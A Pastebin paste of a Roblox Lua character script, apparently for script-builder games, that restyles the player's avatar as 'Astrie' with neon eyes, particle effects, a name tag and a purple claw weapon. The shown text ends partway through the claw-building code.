Advertisement
Josemmoya

asdsaasdadsdsadsaasdsd

Jan 27th, 2019
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 248.61 KB | None | 0 0
  1. -- This script has been converted to FE by iPxter
  2.  
  3.  
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  6. do
  7. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  8. script.Parent = Player.Character
  9.  
  10. --RemoteEvent for communicating
  11. local Event = Instance.new("RemoteEvent")
  12. Event.Name = "UserInput_Event"
  13.  
  14. --Fake event to make stuff like Mouse.KeyDown work
  15. local function fakeEvent()
  16. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  17. t.connect = t.Connect
  18. return t
  19. end
  20.  
  21. --Creating fake input objects with fake variables
  22. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  23. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  24. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  25. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  26. end}
  27. --Merged 2 functions into one by checking amount of arguments
  28. CAS.UnbindAction = CAS.BindAction
  29.  
  30. --This function will trigger the events that have been :Connect()'ed
  31. local function te(self,ev,...)
  32. local t = m[ev]
  33. if t and t._fakeEvent and t.Function then
  34. t.Function(...)
  35. end
  36. end
  37. m.TrigEvent = te
  38. UIS.TrigEvent = te
  39.  
  40. Event.OnServerEvent:Connect(function(plr,io)
  41. if plr~=Player then return end
  42. if io.isMouse then
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. else
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = game:GetService("Players").LocalPlayer
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local UIS = game:GetService("UserInputService")
  66. local input = function(io,a)
  67. if a then return end
  68. --Since InputObject is a client-side instance, we create and pass table instead
  69. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  70. end
  71. UIS.InputBegan:Connect(input)
  72. UIS.InputEnded:Connect(input)
  73.  
  74. local Mouse = Player:GetMouse()
  75. local h,t
  76. --Give the server mouse data 30 times every second, but only if the values changed
  77. --If player is not moving their mouse, client won't fire events
  78. while wait(1/30) do
  79. if h~=Mouse.Hit or t~=Mouse.Target then
  80. h,t=Mouse.Hit,Mouse.Target
  81. Event:FireServer({isMouse=true,Target=t,Hit=h})
  82. end
  83. end]==],Player.Character)
  84. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  85. end
  86.  
  87. paly = owner
  88. Player = owner
  89. p = owner
  90. char = paly.Character
  91. vt = Vector3.new
  92. rarm = char["Right Arm"]
  93. hed = char.Head
  94. larm = char["Left Arm"]
  95. rleg = char["Right Leg"]
  96. lleg = char["Left Leg"]
  97. local maincolor = BrickColor.random()
  98. local effolemode = false
  99. local wrathmode = false
  100. local noobmode = false
  101. local randomname = "???"
  102. local randomnamefem = "???"
  103. local randomchanger = 6
  104. if paly.Name == "BINO2002" then
  105. randomchanger = 6
  106. end
  107. if randomchanger == 6 then
  108. randomnamefem = "Astrie"
  109. effolemode = true
  110. maincolor = BrickColor.new("Royal purple")
  111.  
  112. local torsmesh = Instance.new("CharacterMesh", char)
  113. torsmesh.BodyPart = "Torso"
  114. torsmesh.MeshId = "48112070"
  115. local dec2 = Instance.new("Decal", char)
  116. dec2.Face = "Front"
  117. dec2.Texture = "rbxassetid://381091841"
  118. dec2.Parent = char.Head
  119. char.Head.face.Transparency = 1
  120. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  121.  
  122. for i,v in pairs(char:children()) do
  123. if v:IsA("Hat") then
  124. v:Destroy()
  125. end
  126. end
  127. for i,v in pairs(char:children()) do
  128. if v:IsA("Accessory") then
  129. v:Destroy()
  130. end
  131. end
  132. for i,v in pairs(char:children()) do
  133. if v:IsA("Hair") then
  134. v:Destroy()
  135. end
  136. end
  137. for i,v in pairs(char:children()) do
  138. if v:IsA("Shirt") then
  139. v:Destroy()
  140. end
  141. end
  142. for i,v in pairs(char:children()) do
  143. if v:IsA("Pants") then
  144. v:Destroy()
  145. end
  146. end
  147.  
  148. local eye12 = Instance.new("Part")
  149. eye12.Parent = char
  150. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  151. eye12.Archivable = true
  152. eye12.Transparency = 0
  153. eye12.Shape = "Ball"
  154. eye12.BrickColor = maincolor
  155. eye12.Material = "Neon"
  156. eye12.CanCollide = false
  157. local mesh2 = Instance.new("SpecialMesh",eye12)
  158. mesh2.MeshType = "Sphere"
  159. mesh2.Scale = Vector3.new(0.75, 1, 1)
  160. local weld1en2 = Instance.new("Weld")
  161. weld1en2.Parent = hed
  162. weld1en2.Part0 = hed
  163. weld1en2.Part1 = eye12
  164. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  165. local eye1 = Instance.new("Part")
  166. eye1.Parent = char
  167. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  168. eye1.Archivable = true
  169. eye1.Transparency = 0
  170. eye1.Shape = "Ball"
  171. eye1.BrickColor = maincolor
  172. eye1.Material = "Neon"
  173. eye1.CanCollide = false
  174. local mesh = Instance.new("SpecialMesh",eye1)
  175. mesh.MeshType = "Sphere"
  176. mesh.Scale = Vector3.new(0.75, 1, 1)
  177. local weld1en = Instance.new("Weld")
  178. weld1en.Parent = hed
  179. weld1en.Part0 = hed
  180. weld1en.Part1 = eye1
  181. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  182.  
  183. local BC = char["Body Colors"]
  184. BC.HeadColor = BrickColor.new("White")
  185. BC.LeftArmColor = BrickColor.new("White")
  186. BC.LeftLegColor = BrickColor.new("White")
  187. BC.RightArmColor = BrickColor.new("White")
  188. BC.RightLegColor = BrickColor.new("White")
  189. BC.TorsoColor = BrickColor.new("White")
  190.  
  191. ypcall(function()
  192. shirt = Instance.new("Shirt", char)
  193. shirt.Name = "Shirt"
  194. pants = Instance.new("Pants", char)
  195. pants.Name = "Pants"
  196. char.Shirt.ShirtTemplate = "rbxassetid://211752973"
  197. char.Pants.PantsTemplate = "rbxassetid://179059579"
  198. end)
  199. Reaper2 = Instance.new("Model")
  200. Reaper2.Parent = Player.Character
  201. Reaper2.Name = "Reaper2"
  202. rh2 = Instance.new("Part")
  203. rh2.Parent = Reaper2
  204. rh2.BrickColor = maincolor
  205. rh2.Locked = true
  206. rh2.CanCollide = false
  207. mesh2 = Instance.new("SpecialMesh")
  208. rh2.formFactor = "Symmetric"
  209. mesh2.MeshType = "FileMesh"
  210. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  211. mesh2.Parent = rh2
  212. local weld2 = Instance.new("Weld")
  213. weld2.Parent = rh2
  214. rh2.Transparency = 0
  215. weld2.Part0 = rh2
  216. weld2.Part1 = Player.Character.Head
  217. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  218.  
  219. Reaper3 = Instance.new("Model")
  220. Reaper3.Parent = Player.Character
  221. Reaper3.Name = "Reaper3"
  222. rh3 = Instance.new("Part")
  223. rh3.Parent = Reaper3
  224. rh3.BrickColor = BrickColor.new("Really black")
  225. rh3.Locked = true
  226. rh3.CanCollide = false
  227. mesh3 = Instance.new("SpecialMesh")
  228. rh3.formFactor = "Symmetric"
  229. mesh3.MeshType = "FileMesh"
  230. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  231. mesh3.Parent = rh3
  232. local weld3 = Instance.new("Weld")
  233. weld3.Parent = rh3
  234. rh3.Transparency = 0
  235. weld3.Part0 = rh3
  236. weld3.Part1 = Player.Character.Head
  237. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  238.  
  239. local orbe = Instance.new("Part")
  240. orbe.Parent = char
  241. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  242. orbe.Archivable = true
  243. orbe.Transparency = 1
  244. orbe.BrickColor = maincolor
  245. orbe.Material = "Neon"
  246. orbe.CanCollide = false
  247. local weld1e = Instance.new("Weld")
  248. weld1e.Parent = rleg
  249. weld1e.Part0 = rleg
  250. weld1e.Part1 = orbe
  251. weld1e.C1 = CFrame.new(0, 1.125, 0)
  252. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  253. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  254. local effectoe = Instance.new("ParticleEmitter",orbe)
  255. effectoe.LightEmission = 1
  256. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  257. effectoe.Color = ColorSequence.new(maincolor.Color)
  258. effectoe.Rate = 10000
  259. effectoe.Lifetime = NumberRange.new(1)
  260. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  261. effectoe.Speed = NumberRange.new(0,0)
  262. effectoe.RotSpeed = NumberRange.new(100,100)
  263.  
  264. local orbze = Instance.new("Part")
  265. orbze.Parent = char
  266. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  267. orbze.Archivable = true
  268. orbze.Transparency = 1
  269. orbze.BrickColor = maincolor
  270. orbze.Material = "Neon"
  271. orbze.CanCollide = false
  272. local weldz1 = Instance.new("Weld")
  273. weldz1.Parent = lleg
  274. weldz1.Part0 = lleg
  275. weldz1.Part1 = orbze
  276. weldz1.C1 = CFrame.new(0, 1.125, 0)
  277. local effectone = Instance.new("ParticleEmitter",orbze)
  278. effectone.LightEmission = 1
  279. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  280. effectone.Color = ColorSequence.new(maincolor.Color)
  281. effectone.Rate = 10000
  282. effectone.Lifetime = NumberRange.new(1)
  283. effectone.Size = NumberSequence.new({pt1e,pt2e})
  284. effectone.Speed = NumberRange.new(0,0)
  285. effectone.RotSpeed = NumberRange.new(100,100)
  286. end
  287.  
  288. if effolemode == true then
  289. maincolor = BrickColor.new("Royal purple")
  290. end
  291.  
  292. local orb = Instance.new("Part")
  293. orb.Parent = char
  294. orb.Size = Vector3.new(1, 1, 1)
  295. orb.Archivable = true
  296. orb.Transparency = 1
  297. orb.BrickColor = BrickColor.new("Bright orange")
  298. orb.Material = "Wood"
  299. orb.CanCollide = false
  300. local weld1 = Instance.new("Weld")
  301. weld1.Parent = rarm
  302. weld1.Part0 = rarm
  303. weld1.Part1 = orb
  304. weld1.C1 = CFrame.new(0, 1.125, 0)
  305. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  306. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  307. local effecto = Instance.new("ParticleEmitter",orb)
  308. effecto.LightEmission = 1
  309. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  310. effecto.Color = ColorSequence.new(maincolor.Color)
  311. effecto.Rate = 10000
  312. effecto.Lifetime = NumberRange.new(1)
  313. effecto.Size = NumberSequence.new({pt1,pt2})
  314. effecto.Speed = NumberRange.new(0,0)
  315. effecto.RotSpeed = NumberRange.new(100,100)
  316.  
  317. local orbz = Instance.new("Part")
  318. orbz.Parent = char
  319. orbz.Size = Vector3.new(1, 1, 1)
  320. orbz.Archivable = true
  321. orbz.Transparency = 1
  322. orbz.BrickColor = BrickColor.new("Bright orange")
  323. orbz.Material = "Wood"
  324. orbz.CanCollide = false
  325. local weldz1 = Instance.new("Weld")
  326. weldz1.Parent = larm
  327. weldz1.Part0 = larm
  328. weldz1.Part1 = orbz
  329. weldz1.C1 = CFrame.new(0, 1.125, 0)
  330. local effecton = Instance.new("ParticleEmitter",orbz)
  331. effecton.LightEmission = 1
  332. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  333. effecton.Color = ColorSequence.new(maincolor.Color)
  334. effecton.Rate = 10000
  335. effecton.Lifetime = NumberRange.new(1)
  336. effecton.Size = NumberSequence.new({pt1,pt2})
  337. effecton.Speed = NumberRange.new(0,0)
  338. effecton.RotSpeed = NumberRange.new(100,100)
  339.  
  340.  
  341. p = owner
  342. char = p.Character
  343. torso = char.Torso
  344. neck = char.Torso.Neck
  345. hum = char.Humanoid
  346. hum.MaxHealth = 10000
  347. wait()
  348. hum.Health =hum.MaxHealth
  349.  
  350. CV="Hot pink"
  351.  
  352. local txt = Instance.new("BillboardGui", char)
  353. txt.Adornee = char .Head
  354. txt.Name = "_status"
  355. txt.Size = UDim2.new(2, 0, 1.2, 0)
  356. txt.StudsOffset = Vector3.new(-9, 8, 0)
  357. local text = Instance.new("TextLabel", txt)
  358. text.Size = UDim2.new(10, 0, 7, 0)
  359. text.FontSize = "Size24"
  360. text.TextScaled = true
  361. text.TextTransparency = 0
  362. text.BackgroundTransparency = 1
  363. text.TextTransparency = 0
  364. text.TextStrokeTransparency = 0
  365. text.Font = "SciFi"
  366. text.TextStrokeColor3 = Color3.new(0,0,0)
  367.  
  368. v=Instance.new("Part")
  369. v.Name = "ColorBrick"
  370. v.Parent=p.Character
  371. v.FormFactor="Symmetric"
  372. v.Anchored=true
  373. v.CanCollide=false
  374. v.BottomSurface="Smooth"
  375. v.TopSurface="Smooth"
  376. v.Size=Vector3.new(10,5,3)
  377. v.Transparency=1
  378. v.CFrame=char.Torso.CFrame
  379. v.BrickColor=BrickColor.new(CV)
  380. v.Transparency=1
  381. text.TextColor3 = BrickColor.new("Royal purple").Color
  382. v.Shape="Block"
  383. text.Text = "Astrie"
  384.  
  385.  
  386. euler = CFrame.fromEulerAnglesXYZ
  387. angles = CFrame.Angles
  388. local player = "owner"
  389. local Character = owner
  390. it = Instance.new
  391. vt = Vector3.new
  392. bc = BrickColor.new
  393. cf = CFrame.new
  394. mr = math.rad
  395. local Weapon = {}
  396. local p = owner
  397. local char = p.Character
  398. local larm = char["Left Arm"]
  399. local rarm = char["Right Arm"]
  400. local lleg = char["Left Leg"]
  401. local rleg = char["Right Leg"]
  402. local hed = char.Head
  403. local torso = char.Torso
  404. local hum = char.Humanoid
  405. local cam = game.Workspace.CurrentCamera
  406. local root = char.HumanoidRootPart
  407. local deb = false
  408. local shot = 0
  409.  
  410. local debris=game:service"Debris"
  411. local l = game:GetService("Lighting")
  412. local rs = game:GetService("RunService").RenderStepped
  413. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  414. math.randomseed(os.time())
  415. for i,v in pairs (hed:GetChildren()) do
  416. if v:IsA("Sound") then
  417. v:Destroy()
  418. end
  419. end
  420. ---------------------------------------------------- BeastClaw
  421. NoOutline = function(Part)
  422. Part.TopSurface = 10
  423. end
  424. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  425. local fp = it("Part")
  426. fp.formFactor = formfactor
  427. fp.Parent = parent
  428. fp.Reflectance = reflectance
  429. fp.Transparency = transparency
  430. fp.CanCollide = false
  431. fp.Locked = true
  432. fp.BrickColor = brickcolor
  433. fp.Name = name
  434. fp.Size = size
  435. NoOutline(fp)
  436. fp.Material = "Neon"
  437. fp:BreakJoints()
  438. return fp
  439. end
  440. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  441. local mesh = it(Mesh)
  442. mesh.Parent = part
  443. if Mesh == "SpecialMesh" then
  444. mesh.MeshType = meshtype
  445. if meshid ~= "nil" then
  446. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  447. end
  448. end
  449. mesh.Offset = offset
  450. mesh.Scale = scale
  451. return mesh
  452. end
  453. weld = function(parent, part0, part1, c0)
  454. local weld = it("Motor6D")
  455. weld.Parent = parent
  456. weld.Part0 = part0
  457. weld.Part1 = part1
  458. weld.C0 = c0
  459. return weld
  460. end
  461. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  462. local gui = it(GuiType)
  463. gui.Parent = parent
  464. gui.BackgroundTransparency = backtrans
  465. gui.BackgroundColor3 = backcol
  466. gui.SizeConstraint = "RelativeXY"
  467. gui.Position = pos
  468. gui.Size = size
  469. if GuiType == "TextLabel" then
  470. gui.Text = text
  471. gui.TextXAlignment = "Center"
  472. gui.TextYAlignment = "Center"
  473. gui.Font = "SourceSans"
  474. gui.FontSize = "Size14"
  475. gui.TextWrapped = false
  476. gui.TextStrokeTransparency = 0
  477. gui.TextColor = TorsoColor
  478. else
  479. if GuiType == "ImageLabel" then
  480. gui.Image = "rbxassetid://" .. image
  481. gui.ImageColor3 = backcol
  482. end
  483. end
  484. return gui
  485. end
  486. local handle = nil
  487. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  488. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  489. prt.Material = neon
  490. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  491. wld = weld(handle, prt, wldpar, ceef)
  492. v = it("NumberValue", prt)
  493. v.Value = trans
  494. v.Name = "MainTransparency"
  495. return prt, msh, wld
  496. end
  497. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  498. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  499. prt.Material = neon
  500. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  501. wld = weld(wldpare, prt, wldpar, ceef)
  502. v = it("NumberValue", prt)
  503. v.Value = trans
  504. v.Name = "MainTransparency"
  505. return prt, msh, wld
  506. end
  507. local modelzorzez = Instance.new("Model")
  508. modelzorzez.Parent = workspace.CurrentCamera
  509. modelzorzez.Name = "none"
  510. local Torso = Character.Character.Torso
  511. local LeftArm = Character.Character["Left Arm"]
  512. local RightArm = Character.Character["Right Arm"]
  513. local LeftLeg = Character.Character["Left Leg"]
  514. local RightLeg = Character.Character["Right Leg"]
  515. local Head = Character.Character.Head
  516. local RootPart = Character.Character.HumanoidRootPart
  517. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt())
  518. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  519.  
  520. -- SAHHHH DUUDEEE
  521.  
  522.  
  523.  
  524.  
  525. -- params : ...
  526.  
  527. wait(0.016666666666667)
  528. script.Archivable = false
  529. Effects = {}
  530. local Player = owner
  531. local Character = Player.Character
  532. local Humanoid = Character.Humanoid
  533. local m = Instance.new("Model", Character)
  534. m.Name = "WeaponModel"
  535. local effect = Instance.new("Model", Character)
  536. effect.Name = "effecsfsafzx"
  537. local demon = Instance.new("Model", Character)
  538. demon.Name = "demdemd"
  539. local LeftArm = Character["Left Arm"]
  540. local RightArm = Character["Right Arm"]
  541. local LeftLeg = Character["Left Leg"]
  542. local RightLeg = Character["Right Leg"]
  543. local do2target = nil
  544. local Head = Character.Head
  545. local Torso = Character.Torso
  546. TorsoColor = BrickColor.new("Royal purple")
  547. z = Instance.new("Sound", Torso)
  548. z.SoundId = "rbxassetid://0" -- Put Music ID Here.
  549. z.Looped = true
  550. z.Pitch = 0
  551. z.Volume = 0
  552. wait(.1)
  553. z:Play()
  554. local cam = game.Workspace.CurrentCamera
  555. local RootPart = Character.HumanoidRootPart
  556. local RootJoint = RootPart.RootJoint
  557. local equipped = false
  558. local attack = false
  559. local Anim = "Idle"
  560. local idle = 0
  561. local attacktype = 1
  562. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  563. local velocity = RootPart.Velocity.y
  564. local sine = 0
  565. local change = 1
  566. local mana = 0
  567. local it = Instance.new
  568. vt = Vector3.new
  569. local grabbed = false
  570. local cf = CFrame.new
  571. local mr = math.rad
  572. local angles = CFrame.Angles
  573. local ud = UDim2.new
  574. local c3 = Color3.new
  575. clerp = function(a, b, t)
  576.  
  577. return a:lerp(b, t)
  578. end
  579.  
  580. local RbxUtility = LoadLibrary("RbxUtility")
  581. local Create = RbxUtility.Create
  582. RemoveOutlines = function(part)
  583.  
  584. part.TopSurface = 10
  585. end
  586.  
  587. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  588.  
  589. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  590. RemoveOutlines(Part)
  591. return Part
  592. end
  593.  
  594. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  595.  
  596. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  597. if Mesh == "SpecialMesh" then
  598. Msh.MeshType = MeshType
  599. Msh.MeshId = MeshId
  600. end
  601. return Msh
  602. end
  603.  
  604. local co1 = 3
  605. local co2 = 10
  606. local co3 = 15
  607. local co4 = 30
  608. local cooldown1 = 0
  609. local cooldown2 = 0
  610. local cooldown3 = 0
  611. local cooldown4 = 0
  612. local maxEnergy = 100
  613. local Energy = 0
  614. local skill1stam = 1000
  615. local skill2stam = 1000
  616. local skill3stam = 1000
  617. local skill4stam = 1000
  618. local recovermana = 5
  619. local skillcolorscheme = BrickColor.new("White").Color
  620. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  621. makeframe = function(par, trans, pos, size, color)
  622.  
  623. local frame = Instance.new("Frame", par)
  624. frame.BackgroundTransparency = trans
  625. frame.BorderSizePixel = 0
  626. frame.Position = pos
  627. frame.Size = size
  628. frame.BackgroundColor3 = color
  629. return frame
  630. end
  631.  
  632. makelabel = function(par, text)
  633.  
  634. local label = Instance.new("TextLabel", par)
  635. label.BackgroundTransparency = 1
  636. label.Size = UDim2.new(1, 0, 1, 0)
  637. label.Position = UDim2.new(0, 0, 0, 0)
  638. label.TextColor3 = Color3.new(255, 255, 255)
  639. label.TextStrokeTransparency = 0
  640. label.FontSize = Enum.FontSize.Size32
  641. label.Font = Enum.Font.SourceSansLight
  642. label.BorderSizePixel = 0
  643. label.TextScaled = true
  644. label.Text = text
  645. end
  646.  
  647. ArtificialHB = Instance.new("BindableEvent", script)
  648. ArtificialHB.Name = "Heartbeat"
  649. script:WaitForChild("Heartbeat")
  650. frame = 0.033333333333333
  651. tf = 0
  652. allowframeloss = false
  653. tossremainder = false
  654. lastframe = tick()
  655. script.Heartbeat:Fire()
  656. game:GetService("RunService").Heartbeat:connect(function(s, p)
  657.  
  658. tf = tf + s
  659. if frame <= tf then
  660. if allowframeloss then
  661. script.Heartbeat:Fire()
  662. lastframe = tick()
  663. else
  664. for i = 1, math.floor(tf / frame) do
  665. script.Heartbeat:Fire()
  666. end
  667. lastframe = tick()
  668. end
  669. if tossremainder then
  670. tf = 0
  671. else
  672. tf = tf - frame * math.floor(tf / frame)
  673. end
  674. end
  675. end
  676. )
  677. swait = function(num)
  678.  
  679. if num == 0 or num == nil then
  680. ArtificialHB.Event:wait()
  681. else
  682. for i = 0, num do
  683. ArtificialHB.Event:wait()
  684. end
  685. end
  686. end
  687.  
  688. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  689.  
  690. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  691. return Weld
  692. end
  693.  
  694. rayCast = function(Position, Direction, Range, Ignore)
  695.  
  696. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  697. end
  698.  
  699. CreateSound = function(id, par, vol, pit)
  700.  
  701. coroutine.resume(coroutine.create(function()
  702.  
  703. local sou = Instance.new("Sound", par or workspace)
  704. sou.Volume = vol
  705. sou.Pitch = pit or 1
  706. sou.SoundId = id
  707. swait()
  708. sou:play()
  709. game:GetService("Debris"):AddItem(sou, 6)
  710. end
  711. ))
  712. end
  713.  
  714. local getclosest = function(obj, distance)
  715.  
  716. local last, lastx = distance + 1, nil
  717. for i,v in pairs(workspace:GetChildren()) do
  718. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  719. local t = v.Torso
  720. local dist = t.Position - obj.Position.magnitude
  721. if dist <= distance and dist < last then
  722. last = dist
  723. lastx = v
  724. end
  725. end
  726. end
  727. return lastx
  728. end
  729.  
  730. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  731.  
  732. if PartType == "Part" then
  733. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  734. RemoveOutlines(Part)
  735. return Part
  736. else
  737. do
  738. if PartType == "WedgePart" then
  739. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  740. RemoveOutlines(Part)
  741. return Part
  742. end
  743. end
  744. end
  745. end
  746.  
  747. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  748. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  749. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  750. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  751. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  752. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  753. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  754. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  755. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  756. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  757. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  758. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  759. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  760. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  761. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  762. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  763. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  764. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  765. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  766. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
